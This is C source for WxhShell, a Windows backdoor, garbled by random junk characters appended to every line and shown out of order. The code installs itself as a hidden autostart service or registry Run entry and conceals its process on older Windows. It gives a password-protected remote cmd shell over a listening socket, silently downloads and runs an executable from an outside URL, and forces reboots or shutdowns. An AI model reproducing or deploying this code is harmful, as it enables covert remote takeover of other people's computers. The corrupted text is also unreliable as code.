    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C-H6l6,  
    else { k>:\4uI|<\  
    closesocket(wsh); QiNLE'19^  
    ExitThread(0); n]3Z~HoZ  
    } ;33SUgX  
    break; E4<#6q  
    } |wyua@2  
  // 获取shell N"zl7.E  
  case 's': { 5.lg*vh  
    CmdShell(wsh); [+qB^6I+P%  
    closesocket(wsh); 9jllW[`2F  
    ExitThread(0); B8>@q!G8P  
    break; Kn}Y7B{  
  } fbkAu  
  // 退出 d26#0Gt-4i  
  case 'x': { G9CL}=lJ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q fL8@W~e  
    CloseIt(wsh); 9!6u Yf+  
    break; BfQ#5  
    } =27ZY Z  
  // 离开 b 2~5LZ  
  case 'q': { bUc ++M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZpZoOdjslV  
    closesocket(wsh); J,k.*t:  
    WSACleanup(); #_zj5B38E  
    exit(1); !ozHS_  
    break; e?;  
        } UFeQ%oRa8  
  } R_#k^P^  
  } M+7jJ?n  
Cm-dos  
  // 提示信息 cpx:4R,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TIno"tc3  
} X&!($*/  
  } 0I*{CVTQj  
Qi|k,1A0  
  return; LqS_%6^  
} ;B;wU.Y"  
'acCnn'  
// shell模块句柄 IC-W[~  
int CmdShell(SOCKET sock) x'V:qv*O  
{ ;Ehv1{;  
STARTUPINFO si; ]F"@+_E  
ZeroMemory(&si,sizeof(si)); J$,bsMIX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ilQt`-O!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Lm`jU(:l  
PROCESS_INFORMATION ProcessInfo; H~W=#Cx  
char cmdline[]="cmd";  r^,"OM]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gVs@T'  
  return 0; P@U2Q%\  
} OOzXA%<%c  
2QKt.a  
// 自身启动模式 ;V84Dy#b  
int StartFromService(void) v+'*.Iv:  
{ 6e"Lod_ L  
typedef struct :71St '  
{ 5]2 p>%G  
  DWORD ExitStatus; HaQox.v%  
  DWORD PebBaseAddress; c4}|a1R\=  
  DWORD AffinityMask; <BK?@Xy  
  DWORD BasePriority; "MyMByomQ  
  ULONG UniqueProcessId; 'v5q/l  
  ULONG InheritedFromUniqueProcessId; </_.+c [  
}   PROCESS_BASIC_INFORMATION; Nu+DVIM  
zEw~t&:e  
PROCNTQSIP NtQueryInformationProcess; a&B@F]+  
2Vx x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  Rp6q)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NBA`@K~4  
(SByN7[g b  
  HANDLE             hProcess; "lL/OmG  
  PROCESS_BASIC_INFORMATION pbi; f\H1$q\p\  
uz;eY D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k{cPiY^  
  if(NULL == hInst ) return 0; 7hT@,|(j  
[ZS.6{vr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %Hu.FS5'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {5c]\{O?[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \Npvm49  
8qoA5fW>  
  if (!NtQueryInformationProcess) return 0; T2|os{U  
8( bK\-b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @QF;m  
  if(!hProcess) return 0; ~iq=J5IN#  
C2 yJ Xi`$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )-25?B  
q XB E3  
  CloseHandle(hProcess); hz5t/E  
NosOd*S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lLI%J>b@  
if(hProcess==NULL) return 0; Ti>}To}B5  
:c(#03w*C  
HMODULE hMod; *?+2%zP  
char procName[255]; *E-MJCv  
unsigned long cbNeeded; X,D ]S@  
yGH')TsjD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _WI~b  
@2TfW]6  
  CloseHandle(hProcess); <}F(G-kV6  
,Bj]j -\Y  
if(strstr(procName,"services")) return 1; // 以服务启动 ,C|aiSh0-  
T#HF! GH]  
  return 0; // 注册表启动 BRv#`  
} ed#>q;jX  
Y]i:$X]C?X  
// 主模块 OXZx!h  
int StartWxhshell(LPSTR lpCmdLine) EF;B)y=  
{ ?F~0\T,7  
  SOCKET wsl; {ea*dX872:  
BOOL val=TRUE; }TDq7-(g  
  int port=0; bnV)f<  
  struct sockaddr_in door; 1;vwreJ  
u(JuU/U  
  if(wscfg.ws_autoins) Install(); e' |c59E  
6mjD@  
port=atoi(lpCmdLine); [5Zi\'~UH)  
<ILi38%Y  
if(port<=0) port=wscfg.ws_port; |V^f}5gd  
?28)l 4 Ml  
  WSADATA data; ozA%u,\7k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^$<:~qq !  
Me^L%%: @  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @9\E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?XVox*6K&  
  door.sin_family = AF_INET; ?S.LGc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?yA 2N;  
  door.sin_port = htons(port); 8an_s%,AW  
>Fc=F#tA9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @FN1o4&3  
closesocket(wsl); y/+y |.Xg  
return 1; !X=93%  
} Hq,znRz~`  
Qd}h:U^  
  if(listen(wsl,2) == INVALID_SOCKET) { Sf t,$  
closesocket(wsl); (>dL  
return 1; 1119YeL  
} Ub[UB%(T  
  Wxhshell(wsl); B*fBb.Z  
  WSACleanup(); vQ[ Tc V  
KCn#*[  
return 0; v=D4O.  
t<cWMx5ra  
} tz2$j@!=  
]Y f8  
// 以NT服务方式启动 >8injW3 52  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I2?g'tz  
{ +sXnC\  
DWORD   status = 0; s_6Iz^]I  
  DWORD   specificError = 0xfffffff; RR>G}u9 np  
P}-S[[b73s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,k m`-6.2?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ky{C;7X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wT:mfS09N  
  serviceStatus.dwWin32ExitCode     = 0; &>XSQB(&%  
  serviceStatus.dwServiceSpecificExitCode = 0; Qa1G0qMEIF  
  serviceStatus.dwCheckPoint       = 0; 83Fmu/(  
  serviceStatus.dwWaitHint       = 0; dVBr-+  
ak(P<OC-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !XY}\zKq  
  if (hServiceStatusHandle==0) return; wA6<Buj D  
Ft8ii|-  
status = GetLastError(); QB7^8O!<  
  if (status!=NO_ERROR) 2X=*;r"{J  
{ F/D/1w^ iR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |LE*R@|3$  
    serviceStatus.dwCheckPoint       = 0; I0sw/,J/Z  
    serviceStatus.dwWaitHint       = 0; Ce PI{`&,  
    serviceStatus.dwWin32ExitCode     = status; pbqJtBBDDS  
    serviceStatus.dwServiceSpecificExitCode = specificError; d'p@[1/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {-s7_\|p(  
    return; 1@Rl^ey  
  } 6CzN[R}  
R<ZyP~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  !:|D[1m  
  serviceStatus.dwCheckPoint       = 0; $9<P3J 1  
  serviceStatus.dwWaitHint       = 0; )H<F([Jri  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @. KFWAm  
} n}q/:|c  
tR-rW)0K3Q  
// 处理NT服务事件,比如:启动、停止 C?PgC~y)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aP +)  
{ )>WSuf j  
switch(fdwControl) *iujJ i  
{ 19^B610  
case SERVICE_CONTROL_STOP: 1.q a//'RW  
  serviceStatus.dwWin32ExitCode = 0; M!] g36h[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hgF4PdO1e  
  serviceStatus.dwCheckPoint   = 0; EP]OJ$6I  
  serviceStatus.dwWaitHint     = 0; t0o'_>*?A  
  {  ?r(Bu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Sg :HU\  
  } M1=y-3dW3  
  return; PH]ui=  
case SERVICE_CONTROL_PAUSE: "z ;ky8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9rQw~B<S  
  break; t+ O7dZt%r  
case SERVICE_CONTROL_CONTINUE: iCZ1ARi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #6qLu  
  break; ~b SjZ1`  
case SERVICE_CONTROL_INTERROGATE: Ed&M  
  break; "(SZ;y  
}; Mj-B;r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ryoD 1OE  
} <LOas$  
agxR V  
// 标准应用程序主函数 X4:SH> U!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *heX[D &>)  
{ FQ6{NMz,h  
:TN^}RML  
// 获取操作系统版本 d(j|8/tpA  
OsIsNt=GetOsVer(); eXZH#K7S#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \H$j["3  
00(#_($  
  // 从命令行安装 <MoKTP-<  
  if(strpbrk(lpCmdLine,"iI")) Install(); .#$D\cwV  
\Dn an5H/  
  // 下载执行文件 %.;`0}b  
if(wscfg.ws_downexe) { 5Rec~&v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f1UGDC<p9  
  WinExec(wscfg.ws_filenam,SW_HIDE); M4(`o^n  
} 6N.+  
N8w@8|KM  
if(!OsIsNt) { aw8q}:  
// 如果时win9x,隐藏进程并且设置为注册表启动 G%RhNwm  
HideProc(); L;s,xV  
StartWxhshell(lpCmdLine); p-;I"uKv  
} -?&s6XA%#  
else p[lciWEW  
  if(StartFromService()) 5W=jQ3 C  
  // 以服务方式启动 >rb8A6  
  StartServiceCtrlDispatcher(DispatchTable); x nm!$ $W  
else i VIpe  
  // 普通方式启动 "G3zl{?GP  
  StartWxhshell(lpCmdLine); woCFkO;'O  
`;fk,\8t%  
return 0; *yxn*B_xZ  
} >k{KwFB^S  
B&oP0 jS  
?yqTLj  
T=n)ea A  
=========================================== 7 -Yn8Gq  
K9(Su`zr  
5*W<6ia  
f~NGIlgR  
v{dvB:KP5X  
/Sag_[i  
" )+S^{tt  
=(Ll}V,  
#include <stdio.h> :>'4@{'   
#include <string.h> \h}a?T6  
#include <windows.h> 8P#jC$<  
#include <winsock2.h> )KPQ8y!d  
#include <winsvc.h> ~Uz1()ftz  
#include <urlmon.h> _;1H2o2f  
xYGB{g]  
#pragma comment (lib, "Ws2_32.lib") T8ftBIOi  
#pragma comment (lib, "urlmon.lib") fq2t^c|$  
T+y3Ph--^  
#define MAX_USER   100 // 最大客户端连接数 ;^K4kK&f  
#define BUF_SOCK   200 // sock buffer sC=fXCGW\p  
#define KEY_BUFF   255 // 输入 buffer *j0kb"#  
17nONhh  
#define REBOOT     0   // 重启 A=5A8B1  
#define SHUTDOWN   1   // 关机 u(!@6%?-  
tL!R^Tf  
#define DEF_PORT   5000 // 监听端口 M!e$h?vB  
c5t],P  
#define REG_LEN     16   // 注册表键长度 2}^fhMS  
#define SVC_LEN     80   // NT服务名长度 SqF9#&F  
s$s]D\N  
// 从dll定义API "7*cF>FE8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?xbPdG":R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jt3]'Nr04@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %j3 *j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FB-_a  
LS=HX~5C  
// wxhshell配置信息 X~ AE??  
struct WSCFG { C)r!;u)AZH  
  int ws_port;         // 监听端口 vl'2O7  
  char ws_passstr[REG_LEN]; // 口令 AJ*FQo.U  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yb<t~jm  
  char ws_regname[REG_LEN]; // 注册表键名 \v'\ Ea~  
  char ws_svcname[REG_LEN]; // 服务名 )aOPR|+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7;UUS1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }BpCa6SAs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ) DzbJ}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UoLvc~n7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %z(nZ%,Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h7( R/Rf  
y3 R+060\3  
}; 0koC;(<n  
CCp8,  
// default Wxhshell configuration g?'4G$M  
struct WSCFG wscfg={DEF_PORT, W+&w'~M  
    "xuhuanlingzhe", /GK1}h  
    1, jORU+g  
    "Wxhshell", e Akjpc  
    "Wxhshell", [ ET03 nZ  
            "WxhShell Service", R(?g+:eCpM  
    "Wrsky Windows CmdShell Service", w+P?JR!)+  
    "Please Input Your Password: ", 5/:BtlFx  
  1, 1Qi5t?{  
  "http://www.wrsky.com/wxhshell.exe", E6{|zF/3'  
  "Wxhshell.exe" /mb?C/CI  
    }; [dK5kO  
l@x/{0  
// 消息定义模块 1]L 0r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hcvWf\4'#q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f_*Bd.@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nV|H5i;N7  
char *msg_ws_ext="\n\rExit."; kvzGI>H:  
char *msg_ws_end="\n\rQuit."; H]LH~l  
char *msg_ws_boot="\n\rReboot..."; ^6*2a(S&  
char *msg_ws_poff="\n\rShutdown..."; CH6^;.  
char *msg_ws_down="\n\rSave to "; Jl-Lz03YG  
'n7 )()"2  
char *msg_ws_err="\n\rErr!"; yw|O,V<4N  
char *msg_ws_ok="\n\rOK!"; wzr3 y}fCe  
zCvt"!}RRa  
char ExeFile[MAX_PATH]; =K6aiP$Ft  
int nUser = 0; 9oly=&lJ  
HANDLE handles[MAX_USER]; eIz T(3(  
int OsIsNt; b<|l* \  
f$G{7%9*  
SERVICE_STATUS       serviceStatus; Iv6(Z>pAB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *C~O[:6D  
YQyf:xJ  
// 函数声明 RT2%)5s  
int Install(void); VP|ga }(  
int Uninstall(void); W}<'Y@[ ,  
int DownloadFile(char *sURL, SOCKET wsh); vJ__jO"Sq  
int Boot(int flag); ?U~9d"2=  
void HideProc(void); K&zp2V  
int GetOsVer(void); lx8@;9fLy  
int Wxhshell(SOCKET wsl); 50 :gk*hy  
void TalkWithClient(void *cs); <r_L-  
int CmdShell(SOCKET sock); H pHXt78  
int StartFromService(void); H"_ZqEg  
int StartWxhshell(LPSTR lpCmdLine); _lrCf  
o ]UG*2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iXp*G52  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ={[s)G  
$9pFRQC'q  
// 数据结构和表定义 =2[5 g!qX  
SERVICE_TABLE_ENTRY DispatchTable[] = K !&{k94  
{ %?gh;? GD  
{wscfg.ws_svcname, NTServiceMain}, iElE-g@Ws  
{NULL, NULL} otQulL)T/  
};  `Pa)H  
ai7*</ls  
// 自我安装 cO9aT  
int Install(void) E1(2wJ-3"  
{ ['p%$4i$  
  char svExeFile[MAX_PATH]; ?[ n{M  
  HKEY key; gxry?':  
  strcpy(svExeFile,ExeFile); J7FCW^-`3  
v%_5!SR  
// 如果是win9x系统,修改注册表设为自启动 W`}C0[%VW  
if(!OsIsNt) { Bvke@|]kW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s68&AB   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g3r4>SA  
  RegCloseKey(key); ?}y{tav=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t{\,vI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $3aq+w:  
  RegCloseKey(key); vYT%e:8)q  
  return 0; a!Z.ZA  
    } |P{K\;-  
  } GtQ$`~r  
} g. V6:>,  
else { :JBvCyj4PE  
bVE t?E*+  
// 如果是NT以上系统,安装为系统服务 ;J"b%~Gn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >heFdKq1  
if (schSCManager!=0) uWs5 +  
{ 9cJzL"yi  
  SC_HANDLE schService = CreateService ?nWK s  
  ( =yn|.%b  
  schSCManager, %O$4da"y  
  wscfg.ws_svcname, Tv d=EO  
  wscfg.ws_svcdisp, YQU #aOl  
  SERVICE_ALL_ACCESS, qT( 3M9!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jvysvi{8  
  SERVICE_AUTO_START, &"^,Ubfcn"  
  SERVICE_ERROR_NORMAL, 3GkVMYI  
  svExeFile, < * )u\A  
  NULL, M" |Mte  
  NULL, j5lSu~  
  NULL, [12^NEt  
  NULL, tvH{[e$  
  NULL F-MN%WD~  
  ); :Oz! M&Ov  
  if (schService!=0) (+' *_   
  { /IDfGAE  
  CloseServiceHandle(schService); wO6`Ap t1:  
  CloseServiceHandle(schSCManager); ,z6&k   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sxq'uF(K  
  strcat(svExeFile,wscfg.ws_svcname); (h NSzG\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O=wA/T=w?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R:7j`gHJ|9  
  RegCloseKey(key); $7q'Be@{  
  return 0; S^}@X?v  
    } mz\d>0F U.  
  } cwK 6$Ax  
  CloseServiceHandle(schSCManager); h(aF>a\Z  
} Q_<CG[,6D1  
} 0) }bJ,5/  
8 Zy`Z  
return 1; P$MAURFm  
} ^cO^3=  
W(N@`^  
// 自我卸载 4u;db_gX  
int Uninstall(void) 2+pLDIIT  
{ V!=1 !"}OG  
  HKEY key; p"Ki$.Y  
a%2r]:?^?  
if(!OsIsNt) { %a-:f)@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V9 <!pMj  
  RegDeleteValue(key,wscfg.ws_regname); ZRY s7 4<  
  RegCloseKey(key); _aOisN{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q7-Eu4w  
  RegDeleteValue(key,wscfg.ws_regname); v@bs4E46e  
  RegCloseKey(key); $_,?SXM  
  return 0; OA#AiQUR  
  } 7o?6Pv%HJC  
} lxTW1kr  
} ;kO Op@e  
else { /M>8ad  
1X\dH<B}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JwR]!  
if (schSCManager!=0) LO8V*H(  
{ X^4HYm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h amn9  
  if (schService!=0) B9;dX6c  
  { F-%wOn /  
  if(DeleteService(schService)!=0) { [4,=%ez  
  CloseServiceHandle(schService); @D%H-X  
  CloseServiceHandle(schSCManager); o@[yF<  
  return 0; 7VkT(xnm  
  } l ,0]iVJ  
  CloseServiceHandle(schService); H:x=v4NgsU  
  } \`?l6'!  
  CloseServiceHandle(schSCManager); F3/aq+<P[  
} .L'>1H]B  
} `9SRiy  
j`1% a]Bwc  
return 1; fw@n[u{~  
} \ 4y7!   
F"xD^<i  
// 从指定url下载文件 qX[a\HQa  
int DownloadFile(char *sURL, SOCKET wsh) 7r#U^d(  
{ "\bbe@  
  HRESULT hr; 7c|8>zES:E  
char seps[]= "/"; C5;=!B  
char *token; 9u";%5 4  
char *file; o9+ "6V|.  
char myURL[MAX_PATH]; #|76dU  
char myFILE[MAX_PATH]; 26|2r  
/I|.^ Id|  
strcpy(myURL,sURL); 5I9~OJ>  
  token=strtok(myURL,seps); ?2l#=t?PP  
  while(token!=NULL) qQC<oR  
  { [80jG+6  
    file=token; Fi.gf?d  
  token=strtok(NULL,seps); 7(B|NYq  
  } K:&FWl.  
1qXqQA  
GetCurrentDirectory(MAX_PATH,myFILE); r jfcZ@  
strcat(myFILE, "\\"); UD6D![e  
strcat(myFILE, file); $PA=7`\MP/  
  send(wsh,myFILE,strlen(myFILE),0); kylR)  
send(wsh,"...",3,0); ,@"Z!?e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jH26-b<  
  if(hr==S_OK) !HyPe"`oL  
return 0; MJsz  
else 6B 4Sd  
return 1; j&n][=PL  
hXr`S4aJ  
} )%'Lm  
}Th":sin},  
// 系统电源模块 VXEA.Mko  
int Boot(int flag) {B$cd?}  
{ ]37k\O?vd  
  HANDLE hToken; \,jrug<C$^  
  TOKEN_PRIVILEGES tkp; 5qo^SiB.  
g _fvbVX  
  if(OsIsNt) { 6kH47Yc?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JF7n|o-`?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9An_zrJ%i  
    tkp.PrivilegeCount = 1; Zj;2>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Npv~Iy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rt!G:hy7  
if(flag==REBOOT) { Qp8. D4^@3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ct='Z E  
  return 0; 3\FPW1$i|[  
} ]Hk8XT@Q+  
else { ~@=:I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G4g <PFx  
  return 0; '@'~_BBZP  
} ?Pz:H/ $  
  } |@pJ]  
  else { Kl.xe&t@j  
if(flag==REBOOT) { \zA$|) x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cQDn_Sjhi  
  return 0; -Si'[5@  
} F*QZVg+<*X  
else { H|>dF)%pj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '/+l\.z"&  
  return 0; NyU~8?bp  
}  Qj(q)!Ku  
} .zr2!}lB  
Kd}cf0  
return 1; NikY0=i  
} =1 g  
n,sl|hv2U  
// win9x进程隐藏模块 m#Rgelhk.  
void HideProc(void) T'.U?G  
{ (!kOM% 3{  
[G:wPp.y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |,CWk|G  
  if ( hKernel != NULL ) H <1g  
  { ,^,KWi9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,aS6|~ac4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9?B}CCE<LR  
    FreeLibrary(hKernel); j3|Ek  
  } A,-UW+:  
s>d@=P>R  
return; |T7 < !  
} gaBt;@?:Q  
@dE|UZ=(  
// 获取操作系统版本 F VW&&ft  
int GetOsVer(void) M B|+F  
{ [eL?O;@BD  
  OSVERSIONINFO winfo; z7'3d7r?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L?!*HS7 m  
  GetVersionEx(&winfo); n%PHHu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0/?V _  
  return 1; YCod\}3  
  else pk2OZ,14Mj  
  return 0; nxH=Ut7{  
} S'T&`"Mr  
Y6L_ _ RT  
// 客户端句柄模块 u 0KVp6`  
int Wxhshell(SOCKET wsl) 6W&huIQ[  
{ v <1d3G=G  
  SOCKET wsh; V&82U w  
  struct sockaddr_in client; yVd}1bX  
  DWORD myID; K!^x+B|  
b|| c^f  
  while(nUser<MAX_USER) 8Wx>,$k  
{ @,0W(  
  int nSize=sizeof(client); ]pi"M 3f_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *gMo(-tN  
  if(wsh==INVALID_SOCKET) return 1; _jt>%v4}4  
T+p ?VngF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MKIX(r( |  
if(handles[nUser]==0) ^eke,,~  
  closesocket(wsh); @q0\oG4L  
else c p.c$  
  nUser++; u*:B 9E  
  } =Tv;?U C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kBZnR$Cl  
*'D( j#&  
  return 0; 3>FeTf#:  
} -_&"Q4FR;+  
\x D.rBbt  
// 关闭 socket Wt=QCutt  
void CloseIt(SOCKET wsh) %5<uQc9  
{ K(P24Z\#  
closesocket(wsh); apsR26\^  
nUser--; "w3#2q&  
ExitThread(0); {&Kck>C'  
} |HhqWja  
( <~  
// 客户端请求句柄 :t?Z  
void TalkWithClient(void *cs) D"kss5>w  
{ 7,0^|P  
4cC  
  SOCKET wsh=(SOCKET)cs; [JI>e;l C:  
  char pwd[SVC_LEN]; rN0G|  
  char cmd[KEY_BUFF]; z|,YO6(L  
char chr[1]; z7B>7}i-  
int i,j; ~,j52obR6Z  
xZ'-G6O "~  
  while (nUser < MAX_USER) { YC(7k7  
XL9smFq  
if(wscfg.ws_passstr) { 39 D!e&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wtl/xA_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GQ=Zp3[  
  //ZeroMemory(pwd,KEY_BUFF); i=Nq`BoQf  
      i=0; xz!b@5DR'%  
  while(i<SVC_LEN) { y.h2hv]Bc  
-!_f-Nny  
  // 设置超时 SrlTwcD  
  fd_set FdRead; Ht >5R  
  struct timeval TimeOut; @E Srj[  
  FD_ZERO(&FdRead); z?T;2/_7  
  FD_SET(wsh,&FdRead); -G\svwv@)  
  TimeOut.tv_sec=8; SZVNu*G!H  
  TimeOut.tv_usec=0; mab921-n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T!![7Rs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bi}uL)~rD  
N{/):O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9]u=b\fzZ  
  pwd=chr[0]; &6 ymGo  
  if(chr[0]==0xd || chr[0]==0xa) { (<bYoWrK#  
  pwd=0; =|}_ASbzw  
  break; h2k"iO }  
  } ANIx0*Yl(  
  i++; b'x26wT?  
    } (^_j,4  
&m{SWV+   
  // 如果是非法用户,关闭 socket a^{"E8j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nuc;Y  
} ,\fp .K<  
.wH`9aq;5@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >:C0ZQUW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <b JF&,  
uU$YN-  
while(1) { CjRU3 (Q  
y$Nqw9  
  ZeroMemory(cmd,KEY_BUFF); dG8_3T}i  
+aY]?]  
      // 自动支持客户端 telnet标准   -uk}Fou  
  j=0; LE@<)}Au^  
  while(j<KEY_BUFF) { qV$\E=%fhM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4D'AAr57  
  cmd[j]=chr[0]; }Qu kn  
  if(chr[0]==0xa || chr[0]==0xd) { PTS dW~3  
  cmd[j]=0; If>bE!_BO  
  break; 5&C:&=Y  
  } &~Hx!]uc  
  j++; }Fq~!D Ee  
    } 6 2*p*t  
[_BQ%7D U  
  // 下载文件 ;_~9".'<d  
  if(strstr(cmd,"http://")) { k_?Z6RE>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7g7[a/Bts  
  if(DownloadFile(cmd,wsh)) {D$5M/$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7#v2:OD+  
  else =w5]o@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]t"X~  
  } H`bS::JI-  
  else { ^TZ`1:oL#  
14pyHMOR  
    switch(cmd[0]) { ]N;\AXZ7  
  w/f?KN  
  // 帮助 Tlm::S   
